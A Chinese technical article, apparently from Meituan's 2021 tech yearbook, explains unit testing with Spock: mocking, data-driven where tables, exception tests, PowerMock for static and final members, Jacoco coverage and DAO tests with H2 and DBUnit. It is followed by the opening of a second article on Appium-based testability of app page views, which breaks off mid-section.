考虑如下场景，代码如下：

@Service
public class StudentService {
    @Autowired
    private StudentDao studentDao;
    public StudentVO getStudentById(int id) {
        List<StudentDTO> students = studentDao.getStudentInfo();
        StudentDTO studentDTO = students.stream().filter(u -> u.getId() 
== id).findFirst().orElse(null);
        StudentVO studentVO = new StudentVO();
        if (studentDTO == null) {
            return studentVO;
        }
        studentVO.setId(studentDTO.getId());
        studentVO.setName(studentDTO.getName());
        studentVO.setSex(studentDTO.getSex());
        studentVO.setAge(studentDTO.getAge());
        // 邮编
        if ("上海 ".equals(studentDTO.getProvince())) {
            studentVO.setAbbreviation("沪 ");
            studentVO.setPostCode("200000");
        }
        if ("北京 ".equals(studentDTO.getProvince())) {
            studentVO.setAbbreviation("京 ");
            studentVO.setPostCode("100000");
        }
        return studentVO;
    }
}

其中 studentDao是使用 Spring 注入的实例对象，我们只有拿到了返回的 stu-

dents，才能继续下面的逻辑（根据 id筛选学生，DTO和 VO转换，邮编等）。所以正

常的做法是把 studentDao的 getStudentInfo()方法Mock 掉，模拟一个指定

的值，因为我们真正关心的是拿到 students后自己代码的逻辑，这是需要重点验证
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的地方。按照上面的思路使用Spock 编写的测试代码如下：

class StudentServiceSpec extends Specification {
    def studentDao = Mock(StudentDao)
    def tester = new StudentService(studentDao: studentDao)

    def "test getStudentById"() {
        given: "设置请求参数 "
        def student1 = new StudentDTO(id: 1, name: "张三 ", province: "北京")
        def student2 = new StudentDTO(id: 2, name: "李四", province: "上海")

        and: "mock studentDao返回值 "
        studentDao.getStudentInfo() >> [student1, student2]

        when: "获取学生信息 "
        def response = tester.getStudentById(1)

        then: "结果验证 "
        with(response) {
            id == 1
            abbreviation == "京 "
            postCode == "100000"
        }
    }
}

这里主要讲解Spock 的代码（从上往下）。

def studentDao = Mock(StudentDao)	这一行代码使用Spock 自带的Mock

方法，构造一个 studentDao的Mock 对象，如果要模拟 studentDao方法的返

回，只需 studentDao.方法名 () >> “模拟值 ”的方式，两个右箭头的方式即

可。test getStudentById方法是单元测试的主要方法，可以看到分为 4个模块：

given、and、when、then，用来区分不同单元测试代码的作用：

	● given：输入条件（前置参数）。

	● when：执行行为（Mock接口、真实调用）。

	● then：输出条件（验证结果）。

	● and：衔接上个标签，补充的作用。

每个标签后面的双引号里可以添加描述，说明这块代码的作用（非强制），如 when：”

获取信息 ”。因为 Spock 使用Groovy 作为单元测试开发语言，所以代码量上比使
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用 Java 写的会少很多，比如 given模块里通过构造函数的方式创建请求对象。

实际上 StudentDTO.java	这个类并没有3个参数的构造方法，是Groovy帮我们实现

的。Groovy默认会提供一个包含所有对象属性的构造方法。而且调用方式上可以指定属

性名，类似于 key:value的语法，非常人性化，方便在属性多的情况下构造对象，如果

使用Java写，可能就要调用很多的 setXxx()方法，才能完成对象初始化的工作。

这个就是 Spock 的 Mock 用法，当调用 studentDao.getStudentInfo()方法

时返回一个 List。List的创建也很简单，中括号 []即表示 List，Groovy 会根

据方法的返回类型，自动匹配是数组还是 List，而 List里的对象就是之前 given

块里构造的 user对象，其中	>>	就是指定返回结果，类似 Mockito的 when().

thenReturn()语法，但更简洁一些。

如果要指定返回多个值的话，可以使用 3个右箭头 >>>，比如：studentDao.get-

StudentInfo() >>> [[student1,student2],[student3,student4],[-

student5,student6]]。

也可以写成这样：studentDao.getStudentInfo() >> [student1,student2] 

>> [student3,student4] >> [student5,student6]。

每次调用 studentDao.getStudentInfo()方法返回不同的值。

public List<StudentDTO> getStudentInfo(String id){
    List<StudentDTO> students = new ArrayList<>();
    return students;
}
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这个 getStudentInfo(String id)方法，有个参数 id，这种情况下如果使用

Spock 的Mock 模拟调用的话，可以使用下划线 _匹配参数，表示任何类型的参数，

多个逗号隔开，类似于 Mockito的 any()方法。如果类中存在多个同名方法，可以

通过	_ as参数类型	的方式区别调用，如下面的语法：

// _ 表示匹配任意类型参数
List<StudentDTO> students = studentDao.getStudentInfo(_);

// 如果有同名的方法，使用 as指定参数类型区分
List<StudentDTO> students = studentDao.getStudentInfo(_ as String);

when模块里是真正调用要测试方法的入口 tester.getStudentById()。then

模块作用是验证被测方法的结果是否正确，符合预期值，所以这个模块里的语句必须

是 boolean表达式，类似于 JUnit 的 assert断言机制，但不必显示地写 assert，

这也是一种约定优于配置的思想。then块中使用了 Spock 的 with功能，可以验

证返回结果 response对象内部的多个属性是否符合预期值，这个相对于 JUnit 的

assertNotNull或 assertEquals的方式更简单一些。

强大的 Where

上面的业务代码有 2个 if判断，是对邮编处理逻辑：

  // 邮编
  if ("上海 ".equals(studentDTO.getProvince())) {
       studentVO.setAbbreviation("沪 ");
       studentVO.setPostCode("200000");
   }
   if ("北京 ".equals(studentDTO.getProvince())) {
       studentVO.setAbbreviation("京 ");
       studentVO.setPostCode("100000");
   }

如果要完全覆盖这 2个分支就需要构造不同的请求参数，多次调用被测试方法才能走

到不同的分支。在前面，我们介绍了Spock 的 where标签可以很方便的实现这种功

能，代码如下所示：
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   @Unroll
   def "input 学生 id:#id, 返回的邮编 :#postCodeResult, 返回的省份简称
:#abbreviationResult"() {
        given: "Mock返回的学生信息 "
        studentDao.getStudentInfo() >> students

        when: "获取学生信息 "
        def response = tester.getStudentById(id)

        then: "验证返回结果 "
        with(response) {
            postCode == postCodeResult
            abbreviation == abbreviationResult
        }
        where: "经典之处：表格方式验证学生信息的分支场景 "
        id | students                    || postCodeResult | 
abbreviationResult
        1  | getStudent(1, "张三 ", "北京 ") || "100000"       | "京 "
        2  | getStudent(2, "李四 ", "上海 ") || "200000"       | "沪 "
    }

    def getStudent(def id, def name, def province) {
        return [new StudentDTO(id: id, name: name, province: province)]
    }

where模块第一行代码是表格的列名，多个列使用 |单竖线隔开，||双竖线区分输

入和输出变量，即左边是输入值，右边是输出值。格式如下：

输入参数 1 | 输入参数 2 || 输出结果 1 | 输出结果 2

而且 IntelliJ IDEA支持 format格式化快捷键，因为表格列的长度不一样，手

动对齐比较麻烦。表格的每一行代表一个测试用例，即被测方法执行了 2次，每次的

输入和输出都不一样，刚好可以覆盖全部分支情况。比如 id、students都是输入

条件，其中 students对象的构造调用了 getStudent方法，每次测试业务代码传

入不同的 student值，postCodeResult、abbreviationResult表示对返回

的 response对象的属性判断是否正确。第一行数据的作用是验证返回的邮编是否是

100000，第二行是验证邮编是否是 200000。这个就是 where+with的用法，更符

合我们实际测试的场景，既能覆盖多种分支，又可以对复杂对象的属性进行验证，其

中在定义的测试方法名，使用了Groovy 的字面值特性：
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即把请求参数值和返回结果值的字符串动态替换掉，#id、#postCodeResult、

#abbreviationResult# 号后面的变量是在方法内部定义的，实现占位符的功能。

@Unroll注解，可以把每一次调用作为一个单独的测试用例运行，这样运行后的单

元测试结果更加直观：

而且如果其中某行测试结果不对，Spock 的错误提示信息也很详细，方便进行排查

（比如我们把第 1条测试用例返回的邮编改成 100001）：
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可以看出，第 1条测试用例失败，错误信息是 postCodeResult的预期结果和实际

结果不符，业务代码逻辑返回的邮编是 100000，而我们预期的邮编是 100001，这

样就可以排查是业务代码逻辑有问题，还是我们的断言不对。

5. 异常测试

我们再看下异常方面的测试，例如下面的代码：

 public void validateStudent(StudentVO student) throws BusinessException {
        if(student == null){
            throw new BusinessException("10001", "student is null");
        }
        if(StringUtils.isBlank(student.getName())){
            throw new BusinessException("10002", "student name is null");
        }
        if(student.getAge() == null){
            throw new BusinessException("10003", "student age is null");
        }
        if(StringUtils.isBlank(student.getTelephone())){
            throw new BusinessException("10004", "student telephone is 
null");
        }
        if(StringUtils.isBlank(student.getSex())){
            throw new BusinessException("10005", "student sex is null");
        }
    }

BusinessException是封装的业务异常，主要包含 code、message属性：

/**
 * 自定义业务异常
 */
public class BusinessException extends RuntimeException {
    private String code;
    private String message;

    setXxx...
    getXxx...
}

这个大家应该都很熟悉，针对这种抛出多个不同错误码和错误信息的异常。如果使用

JUnit 的方式测试，会比较麻烦。如果是单个异常还好，如果是多个的话，测试代码
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就不太好写。

    @Test
    public void testException() {
        StudentVO student = null;
        try {
            service.validateStudent(student);
        } catch (BusinessException e) {
            Assert.assertEquals(e.getCode(), "10001");
            Assert.assertEquals(e.getMessage(), "student is null");
        }

        student = new StudentVO();
        try {
            service.validateStudent(student);
        } catch (BusinessException e) {
            Assert.assertEquals(e.getCode(), "10002");
            Assert.assertEquals(e.getMessage(), "student name is null");
        }
    }

当然可以使用 JUnit 的 ExpectedException方式：

@Rule
public ExpectedException exception = ExpectedException.none();
exception.expect(BusinessException.class); // 验证异常类型
exception.expectMessage("xxxxxx"); //验证异常信息

或者使用 @Test(expected = BusinessException.class)	注解，但这两种方

式都有缺陷。

@Test方式不能指定断言的异常属性，比如 code、message。ExpectedException

的方式也只提供了 expectMessage的 API，对自定义的 code不支持，尤其像上

面的有很多分支抛出多种不同异常码的情况。接下来我们看下Spock 是如何解决的。

Spock 内置 thrown()方法，可以捕获调用业务代码抛出的预期异常并验证，再结

合 where表格的功能，可以很方便地覆盖多种自定义业务异常，代码如下：

    @Unroll
    def "validate student info: #expectedMessage"() {
        when: "校验 "
        tester.validateStudent(student)
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        then: "验证 "
        def exception = thrown(expectedException)
        exception.code == expectedCode
        exception.message == expectedMessage
 
        where: "测试数据 "
        student           || expectedException | expectedCode | 
expectedMessage
        getStudent(10001) || BusinessException | "10001"      | "student 
is null"
        getStudent(10002) || BusinessException | "10002"      | "student 
name is null"
        getStudent(10003) || BusinessException | "10003"      | "student 
age is null"
        getStudent(10004) || BusinessException | "10004”"     | "student 
telephone is null"
        getStudent(10005) || BusinessException | "10005"      | "student 
sex is null"
    }

    def getStudent(code) {
        def student = new StudentVO()
        def condition1 = {
            student.name = "张三 "
        }
        def condition2 = {
            student.age = 20
        }
        def condition3 = {
            student.telephone = "12345678901"
        }
        def condition4 = {
            student.sex = "男 "
        }

        switch (code) {
            case 10001:
                student = null
                break
            case 10002:
                student = new StudentVO()
                break
            case 10003:
                condition1()
                break
            case 10004:
                condition1()
                condition2()
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                break
            case 10005:
                condition1()
                condition2()
                condition3()
                break
        }
        return student
    }

在 then标签里用到了Spock 的 thrown()方法，这个方法可以捕获我们要测试的

业务代码里抛出的异常。thrown()方法的入参 expectedException，是我们自

己定义的异常变量，这个变量放在 where标签里就可以实现验证多种异常情况的功

能（Intellij Idea格式化快捷键，可以自动对齐表格）。expectedException

类型调用 validateUser方法里定义的 BusinessException异常，可以验证它

所有的属性，code、message是否符合预期值。

6. Spock 静态方法测试

接下来，我们一起看下Spock 如何扩展第三方PowerMock 对静态方法进行测试。

Spock 的单元测试代码继承自 Specification基类，而 Specification又是基

于 JUnit 的注解 @RunWith()实现的，代码如下：



数据·安全·测试　<　97

PowerMock 的 PowerMockRunner也是继承自 JUnit，所以使用 PowerMock 的

@PowerMockRunnerDelegate()注解，可以指定 Spock 的父类 Sputnik去代

理运行 PowerMock，这样就可以在 Spock 里使用 PowerMock去模拟静态方法、

final方法、私有方法等。其实 Spock 自带的GroovyMock 可以对Groovy 文件

的静态方法Mock，但对 Java 代码支持不完整，只能Mock 当前 Java 类的静态方

法，官方给出的解释如下：

如下代码：

 public StudentVO getStudentByIdStatic(int id) {
        List<StudentDTO> students = studentDao.getStudentInfo();

        StudentDTO studentDTO = students.stream().filter(u -> u.getId() 
== id).findFirst().orElse(null);
        StudentVO studentVO = new StudentVO();
        if (studentDTO == null) {
            return studentVO;
        }
        studentVO.setId(studentDTO.getId());
        studentVO.setName(studentDTO.getName());
        studentVO.setSex(studentDTO.getSex());
        studentVO.setAge(studentDTO.getAge());

        // 静态方法调用
        String abbreviation = AbbreviationProvinceUtil.
convert2Abbreviation(studentDTO.getProvince());
        studentVO.setAbbreviation(abbreviation);
        studentVO.setPostCode(studentDTO.getPostCode());

        return studentVO;
    }

上面使用了 AbbreviationProvinceUtil.convert2Abbreviation()静态方
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法，对应的测试用例代码如下：

@RunWith(PowerMockRunner.class)
@PowerMockRunnerDelegate(Sputnik.class)
@PrepareForTest([AbbreviationProvinceUtil.class])
@SuppressStaticInitializationFor(["example.com.
AbbreviationProvinceUtil"])
class StudentServiceStaticSpec extends Specification {
    def studentDao = Mock(StudentDao)
    def tester = new StudentService(studentDao: studentDao)

    void setup() {
        // mock静态类
        PowerMockito.mockStatic(AbbreviationProvinceUtil.class)
    }

    def "test getStudentByIdStatic"() {
        given: “创建对象”
        def student1 = new StudentDTO(id: 1, name: "张三 ", province: "北京 ")
        def student2 = new StudentDTO(id: 2, name: "李四 ", province: "上海 ")

        and: "Mock掉接口返回的学生信息 "
        studentDao.getStudentInfo() >> [student1, student2]

        and: "Mock静态方法返回值 "
        PowerMockito.when(AbbreviationProvinceUtil.
convert2Abbreviation(Mockito.any())).thenReturn(abbreviationResult)

        when: "调用获取学生信息方法 "
        def response = tester.getStudentByIdStatic(id)

        then: "验证返回结果是否符合预期值 "
        with(response) {
            abbreviation == abbreviationResult
        }
        where:
        id || abbreviationResult
        1  || "京 "
        2  || "沪 "
    }
}

在 StudentServiceStaticSpec 类 的 头 部 使 用 @PowerMockRunnerDele-

gate(Sputnik.class)注解，交给 Spock 代理执行，这样既可以使用 Spock	

+Groovy 的各种功能，又可以使用PowerMock 的对静态，final等方法的Mock。
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@SuppressStaticInitializationFor(["example.com.Abbreviation-

ProvinceUtil"])，这行代码的作用是限制 AbbreviationProvinceUtil类

里的静态代码块初始化，因为 AbbreviationProvinceUtil类在第一次调用时

可能会加载一些本地资源配置，所以可以使用 PowerMock 禁止初始化。然后在

setup()方法里对静态类进行 Mock 设置，PowerMockito.mockStatic(Ab-

breviationProvinceUtil.class)。最后在 test getStudentByIdStatic 测

试方法里对 convert2Abbreviation()方法指定返回默认值：PowerMockito.

when(AbbreviationProvinceUtil.convert2Abbreviation(Mockito.

any())).thenReturn(abbreviationResult)。

运行时在控制台会输出：

Notifications	are	not	supported	for	behaviour	ALL_TESTINSTANCES_ARE_

CREATED_FIRST

这是 Powermock 的警告信息，不影响运行结果。

如果单元测试代码不需要对静态方法、final方法Mock，就没必要使用 Power-

Mock，使用Spock 自带的 Mock()就足够了。因为PowerMock 的原理是在编译期

通过ASM字节码修改工具修改代码，然后使用自己的 ClassLoader加载，而加载

的静态方法越多，测试耗时就会越长。

7. 动态 Mock 静态方法

考虑场景，让静态方法每次调用返回不同的值。
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以下代码：

public List<OrderVO> getOrdersBySource(){
        List<OrderVO> orderList = new ArrayList<>();
        OrderVO order = new OrderVO();
        if ("APP".equals(HttpContextUtils.getCurrentSource())) {
            if("CNY".equals(HttpContextUtils.getCurrentCurrency())){
                System.out.println("source -> APP, currency -> CNY");
            } else {
                System.out.println("source -> APP, currency -> !CNY");
            }
            order.setType(1);
        } else if ("WAP".equals(HttpContextUtils.getCurrentSource())) {
            System.out.println("source -> WAP");
            order.setType(2);
        } else if ("ONLINE".equals(HttpContextUtils.getCurrentSource())) 
{
            System.out.println("source -> ONLINE");
            order.setType(3);
        }
        orderList.add(order);
        return orderList;
}

这段代码的 if else分支逻辑，主要是依据 HttpContextUtils这个工具类

的静态方法 getCurrentSource()和 getCurrentCurrency()的返回值来决

定流程。这样的业务代码也是我们平时写单元测试时经常遇到的场景，如果能让

HttpContextUtils.getCurrentSource()静态方法每次 Mock 出不同的值，

就可以很方便地覆盖 if else的全部分支逻辑。Spock 的 where标签可以方便地

和 PowerMock 结合使用，让 PowerMock 模拟的静态方法每次返回不同的值，代

码如下：



数据·安全·测试　<　101

PowerMock 的 thenReturn方法返回的值是 source和 currency等 2 个变量，

不是具体的数据，这 2个变量对应 where标签里的前两列 source|currency。这

样的写法，就可以在每次测试业务方法时，让 HttpContextUtils.getCurrent-

Source()和 HttpContextUtils.getCurrentCurrency()返回不同的来源和

币种，就能轻松的覆盖 if和 else的分支代码。即Spock 使用 where表格的方式

让PowerMock 具有了动态Mock 的功能。接下来，我们再看一下如何对于 final

变量进行Mock。

public List<OrderVO> convertOrders(List<OrderDTO> orders){
        List<OrderVO> orderList = new ArrayList<>();
        for (OrderDTO orderDTO : orders) {
            OrderVO orderVO = OrderMapper.INSTANCE.convert(orderDTO);
            if (1 == orderVO.getType()) {
                orderVO.setOrderDesc("App端订单 ");
            } else if(2 == orderVO.getType()) {
                orderVO.setOrderDesc("H5端订单 ");
            } else if(3 == orderVO.getType()) {
                orderVO.setOrderDesc("PC端订单 ");
            }



102　>　2021年美团技术年货

            orderList.add(orderVO);
        }
        return orderList;
}

这段代码里的 for循环第一行调用了 OrderMapper.INSTANCE.convert()转

换方法，将 orderDTO转换为 orderVO，然后根据 type值走不同的分支，而

OrderMapper是一个接口，代码如下：

@Mapper
public interface OrderMapper {
    // 即使不用 static final修饰，接口里的变量默认也是静态、final的
    static final OrderMapper INSTANCE = Mappers.getMapper(OrderMapper.
class);

    @Mappings({})
    OrderVO convert(OrderDTO requestDTO);
}

INSTANCE是接口 OrderMapper里定义的变量，接口里的变量默认都是 static 

final 的，所以我们要先把这个 INSTANCE 静态 final 变量 Mock 掉，这样

才能调用它的方法 convert()返回我们想要的值。OrderMapper这个接口是

mapstruct工具的用法，mapstruct是做对象属性映射的一个工具，它会自动生成

OrderMapper接口的实现类，生成对应的 set、get方法，把 orderDTO的属性值

赋给 orderVO属性，通常情况下会比使用反射的方式好不少。看下Spock 如何写这

个单元测试：

@Unroll
def "test convertOrders"() {
  given: "Mock掉 OrderMapper的静态 final变量 INSTANCE，并结合 Spock设置动态返
回值 "
  def orderMapper = Mock(OrderMapper.class)
  Whitebox.setInternalState(OrderMapper.class, "INSTANCE", orderMapper)
  orderMapper.convert(_) >> order

  when: 
  def orders = service.convertOrders([new OrderDTO()])

  then: "验证结果 "
  with(orders) {
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    it[0].orderDesc == desc
  }

  where: "测试数据 "
  order                || desc
  new OrderVO(type: 1) || "App端订单 "
  new OrderVO(type: 2) || "H5端订单 "
  new OrderVO(type: 3) || "PC端订单 "
}

	● 首先使用Spock自带的 Mock()方法，将 OrderMapper类Mock为一个模拟对

象 orderMapper，def orderMapper = Mock(OrderMapper.class)。

	● 然后使用 PowerMock 的 Whitebox.setInternalState()，对 Order-

Mapper接口的 static final常量 INSTANCE赋值 (Spock不支持静态常

量的 Mock)，赋的值正是使用SpockMock 的对象 orderMapper。

	● 使用Spock的Mock模拟 convert()方法调用，orderMapper.convert(_) 

>> order，再结合 where表格，实现动态Mock 接口的功能。

主要是这 3行代码：

def orderMapper = Mock(OrderMapper.class) // 先使用 Spock的 Mock
Whitebox.setInternalState(OrderMapper.class, "INSTANCE", orderMapper) // 
通过 PowerMock把 Mock对象 orderMapper赋值给静态常量 INSTANCE
orderMapper.convert(_) >> order // 结合 where模拟不同的返回值

这样就可以使用Spock 结合 PowerMock 测试静态常量，达到覆盖 if	else 不同分支

逻辑的功能。

8. 覆盖率

Jacoco 是统计单元测试覆盖率的一种工具，当然 Spock 也自带了覆盖率统计的功

能，这里使用第三方 Jacoco 的原因主要是国内公司使用的比较多一些，包括美团很

多技术团队现在使用的也是 Jacoco，所以为了兼容就以 Jacoco 来查看单元测试覆

盖率。这里说下如何通过 Jacoco 确认分支是否完全覆盖到。

在 pom 文件里引用 Jacoco 的插件：jacoco-maven-plugin，然后执行 mvn 
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package	命令，成功后会在 target 目录下生成单元测试覆盖率的报告，点开报告找

到对应的被测试类查看覆盖情况。

绿色背景表示完全覆盖，黄色是部分覆盖，红色没有覆盖到。比如第 34行黄色背景

的 else if()	判断，提示有二分之一的分支缺失，虽然它下面的代码也被覆盖了

（显示为绿色），这种情况跟具体使用哪种单元测试框架没关系，因为这只是分支覆盖

率统计的规则，只不过使用Spock 的话，解决起来会更简单，只需在 where下增加

一行针对的测试数据即可。

9. DAO 层测试

DAO层的测试有些不太一样，不能再使用Mock，否则无法验证SQL是否正确。对

于DAO测试有一般最简的方式是直接使用 @SpringBootTest注解启动测试环境，

通过Spring 创建Mybatis、Mapper 实例，但这种方式并不属于单元测试，而是集
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成测试范畴了，因为当启用 @SpringBootTest时，会把整个应用的上下文加载进

来。不仅耗时时间长，而且一旦依赖环境上有任何问题，可能会影响启动，进而影响

DAO层的测试。最后，需要到数据库尽可能隔离，因为如果大家都使用同一个 Test

环境的数据的话，一旦测试用例编写有问题，就可能会污染Test 环境的数据。

针对以上场景，可采用以下方案：	1.	通过MyBatis 的 SqlSession 启动mapper 实

例（避免通过Spring 启动加载上下文信息）。	2.	通过内存数据库（如H2）隔离大家

的数据库连接（完全隔离不会存在互相干扰的现象）。	3.	通过 DBUnit 工具，用作对

于数据库层的操作访问工具。	4.	通过扩展Spock 的注解，提供对于数据库Schema

创建和数据Data 加载的方式。如 csv、xml 或直接 Closure编写等。

在 pom文件增加相应的依赖。

<dependency>
     <groupId>com.h2database</groupId>
     <artifactId>h2</artifactId>
     <version>1.4.200</version>
     <scope>test</scope>
 </dependency>
 <dependency>
     <groupId>org.dbunit</groupId>
     <artifactId>dbunit</artifactId>
     <version>2.5.1</version>
     <scope>test</scope>
 </dependency>

增加Groovy 的maven 插件、资源文件拷贝以及测试覆盖率统计插件。

<!-- 测试插件 -->
<plugin>
  <groupId>org.codehaus.gmavenplus</groupId>
  <artifactId>gmavenplus-plugin</artifactId>
  <version>1.8.1</version>
  <executions>
    <execution>
      <goals>
        <goal>addSources</goal>
        <goal>addTestSources</goal>
        <goal>generateStubs</goal>
        <goal>compile</goal>
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        <goal>generateTestStubs</goal>
        <goal>compileTests</goal>
        <goal>removeStubs</goal>
        <goal>removeTestStubs</goal>
      </goals>
    </execution>
  </executions>
</plugin>
<plugin>
  <groupId>org.apache.maven.plugins</groupId>
  <artifactId>maven-surefire-plugin</artifactId>
  <version>3.0.0-M3</version>
  <configuration>
    <useFile>false</useFile>
    <includes>
      <include>**/*Spec.java</include>
    </includes>
    <parallel>methods</parallel>
    <threadCount>10</threadCount>
    <testFailureIgnore>true</testFailureIgnore>
  </configuration>
</plugin>
<plugin>
  <groupId>org.apache.maven.plugins</groupId>
  <artifactId>maven-resources-plugin</artifactId>
  <version>2.6</version>
  <executions>
    <execution>
      <id>copy-resources</id>
      <phase>compile</phase>
      <goals>
        <goal>copy-resources</goal>
      </goals>
      <configuration>
        <outputDirectory>${basedir}/target/resources</outputDirectory>
        <resources>
          <resource>
            <directory>${basedir}/src/main/resources</directory>
            <filtering>true</filtering>
          </resource>
        </resources>
      </configuration>
    </execution>
  </executions>
</plugin>
<plugin>
  <groupId>org.jacoco</groupId>
  <artifactId>jacoco-maven-plugin</artifactId>
  <version>0.8.2</version>
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  <executions>
    <execution>
      <id>prepare-agent</id>
      <goals>
        <goal>prepare-agent</goal>
      </goals>
    </execution>
    <execution>
      <id>report</id>
      <phase>prepare-package</phase>
      <goals>
        <goal>report</goal>
      </goals>
    </execution>
    <execution>
      <id>post-unit-test</id>
      <phase>test</phase>
      <goals>
        <goal>report</goal>
      </goals>
      <configuration>
        <dataFile>target/jacoco.exec</dataFile>
        <outputDirectory>target/jacoco-ut</outputDirectory>
      </configuration>
    </execution>
  </executions>
</plugin>

加入对于Spock 扩展的自动处理框架（用于数据 Schema和 Data初始化操作）。
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这里介绍一下主要内容，注解 @MyDbUnit：

@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.METHOD)
@ExtensionAnnotation(MyDbUnitExtension.class)
@interface MyDbUnit {
    /**
     * <pre>
     * content = {
     *    your_table_name(id: 1, name: 'xxx', age: 21)
     *    your_table_name(id: 2, name: 'xxx', age: 22)
     * })
     </pre>
     * @return
     */
    Class<? extends Closure> content() default Closure.class;
    /**
     * xml存放路径 (相对于测试类 )
     * @return
     */
    String xmlLocation() default "";
    /**
     * csv存放路径 (相对于测试类 )
     * @return
     */
    String csvLocation() default "";
}

考虑以下代码的测试：

@Repository("personInfoMapper")
public interface PersonInfoMapper {
    @Delete("delete from person_info where id=#{id}")
    int deleteById(Long id);

    @Select("select count(*) from person_info")
    int count();

    @Select("select * from user_info")
    List<PersonInfoDO> selectAll();
}

Demo1	（使用 @MyDbUnit，content指定导入数据内容，格式 Closure）。

class Demo1Spec extends MyBaseSpec {
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    /**
     * 直接获取待测试的 mapper
     */
    def personInfoMapper = MapperUtil.getMapper(PersonInfoMapper.class)

    /**
     * 测试数据准备，通常为 sql表结构创建用的 ddl，支持多个文件以逗号分隔。
     */
    def setup() {
        executeSqlScriptFile("com/xxx/xxx/xxx/......../schema.sql")
    }
    /**
     * 数据表清除，通常待 drop的数据表
     */
    def cleanup() {
        dropTables("person_info")
    }

    /**
     * 直接构造数据库中的数据表 ,此方法适用于数据量较小的 mapper sql测试
     */
    @MyDbUnit(
            content = {
                person_info(id: 1, name: "abc", age: 21)
                person_info(id: 2, name: "bcd", age: 22)
                person_info(id: 3, name: "cde", age: 23)
            }
    )
    def "demo1_01"() {
        when:
        int beforeCount = personInfoMapper.count()
        // groovy sql用于快速执行 sql，不仅能验证数据结果，也可向数据中添加数据。
        def result = new Sql(dataSource).firstRow("select * from 
'person_info'") 
        int deleteCount = personInfoMapper.deleteById(1L)
        int afterCount = personInfoMapper.count()

        then:
        beforeCount == 3
        result.name == "abc"
        deleteCount == 1
        afterCount == 2
    }

    /**
     * 直接构造数据库中的数据表 ,此方法适用于数据量较小的 mapper sql测试
     */
    @MyDbUnit(content = {
        person_info(id: 1, name: 'a', age: 21)
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    })
    def "demo1_02"() {
        when:
        int beforeCount = personInfoMapper.count()
        def result = new Sql(dataSource).firstRow("select * from 
'person_info'")
        int deleteCount = personInfoMapper.deleteById(1L)
        int afterCount = personInfoMapper.count()

        then:
        beforeCount == 1
        result.name == "a"
        deleteCount == 1
        afterCount == 0
    }
}

在 setup()阶段，把数据库表中的 Schema创建好，然后通过下面的 @MyDbUnit注

解的 content属性，把数据导入到数据库中。person_info是表名，id、name、

age是数据。

通过 MapperUtil.getMapper()方法获取 mapper实例。
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当测试数据量较大时，可以编写相应的数据文件，通过 @MyDbUnit的 xmlLoca-

tion或 csvLocation加载文件（分别支持 csv 和 xml 格式）。

如通过 csv 加载文件，csvLocation指向 csv 文件所在文件夹。

 @MyDbUnit(csvLocation = "com/xxx/........./data01")
    def "demo2_01"() {
        when:
        int beforeCount = personInfoMapper.count()
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        def result = new Sql(dataSource).firstRow("select * from 
'person_info'")
        int deleteCount = personInfoMapper.deleteById(1L)
        int afterCount = personInfoMapper.count()

        then:
        beforeCount == 3
        result.name == "abc"
        deleteCount == 1
        afterCount == 2
    }

通过 xml 加载文件，xmlLocation指向 xml 文件所在路径。

@MyDbUnit(xmlLocation = "com/xxxx/........./demo3_02.xml")
    def "demo3_02"() {
        when:
        int beforeCount = personInfoMapper.count()
        def result = new Sql(dataSource).firstRow("select * from 
'person_info'")
        int deleteCount = personInfoMapper.deleteById(1L)
        int afterCount = personInfoMapper.count()

        then:
        beforeCount == 1
        result.name == "a"
        deleteCount == 1
        afterCount == 0
    }

还可以不通过 @MyDbUnit而使用API 直接加载测试数据文件。

class Demo4Spec extends MyBaseSpec {
    def personInfoMapper = MapperUtil.getMapper(PersonInfoMapper.class)

    /**
     * 数据表清除，通常待 drop的数据表
     */
    def cleanup() {
        dropTables("person_info")
    }
    def "demo4_01"() {
        given:
        executeSqlScriptFile("com/xxxx/.........../schema.sql")
        IDataSet dataSet = MyDbUnitUtil.loadCsv("com/xxxx/.........../
data01");
        DatabaseOperation.CLEAN_INSERT.execute(MyIDatabaseConnection.
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getInstance().getConnection(), dataSet);

        when:
        int beforeCount = personInfoMapper.count()
        def result = new Sql(dataSource).firstRow("select * from 
'person_info'")
        int deleteCount = personInfoMapper.deleteById(1L)
        int afterCount = personInfoMapper.count()

        then:
        beforeCount == 3
        result.name == "abc"
        deleteCount == 1
        afterCount == 2
    }

    def "demo4_02"() {
        given:
        executeSqlScriptFile("com/xxxx/.........../schema.sq")
        IDataSet dataSet = MyDbUnitUtil.loadXml("com/xxxx/.........../
demo3_02.xml");
        DatabaseOperation.CLEAN_INSERT.execute(MyIDatabaseConnection.
getInstance().getConnection(), dataSet);

        when:
        int beforeCount = personInfoMapper.count()
        def result = new Sql(dataSource).firstRow("select * from 
'person_info'")
        int deleteCount = personInfoMapper.deleteById(1L)
        int afterCount = personInfoMapper.count()

        then:
        beforeCount == 1
        result.name == "a"
        deleteCount == 1
        afterCount == 0
    }
}

最后为大家梳理了一些文档，供大家参考。

Spock	Framework	Reference	Documentation

老 K的 Java 博客

作者简介
建华，美团优选事业部工程师。

https://spockframework.org/spock/docs/2.0/all_in_one.html
https://javakk.com/category/spock
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美团 App 页面视图可测性改造实践

作者：张杰

美团 App 的页面特点

对于不同的用户，美团App 页面的呈现方式其实多种多样，这就是所谓的“千人千

面”。以美团首页的“猜你喜欢”模块为例，针对与不同的用户有单列、Tab、双列

等多种不同形式。这么多不同的页面样式需求，如果要在 1天内时间内完成开发、测

试、上线流程，研发团队也面临着很大的挑战。所以测试工程师就需要重度依赖自动

化测试来形成快速的验收机制。

图 1　美团 App 首页多种页面布局样式
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自动化测试实施中的技术挑战

接下来，本文将会从页面元素无法定位、Appium 元素定位的原理、Accessibili-

tyNodeInfo 和 Drawable 等三个维度进行阐述。

页面元素无法定位

图 2　页面元素审查情况

目前，美团App 客户端自动化主要依托于Appium（一个开源、跨平台的测试框架，

可以用来测试原生及混合的移动端应用）来实现页面元素的定位和操作，当我们通过

Appium	Inspector 进行页面元素审查时，能通过元素审查找到的信息只有外面的边

框和下方的两个按钮，其他信息均无法识别 ( 如上图 2所示 )。中央位置的图片、左

上角的文本信息都无法通过现有的UI 自动化方案进行定位和解析。不能定位元素，

也就无法进行页面的操作和断言，这就严重影响了自动化的实施工作。

经过进一步的调研，我们发现这些页面卡片中大量使用Drawable 对象来绘制页面的

信息，从而导致元素无法进行定位。为什么Drawable 对象无法定位呢？下面我们一

起研究一下UI 自动化元素定位的原理。



116　>　2021年美团技术年货

Appium 元素定位的原理

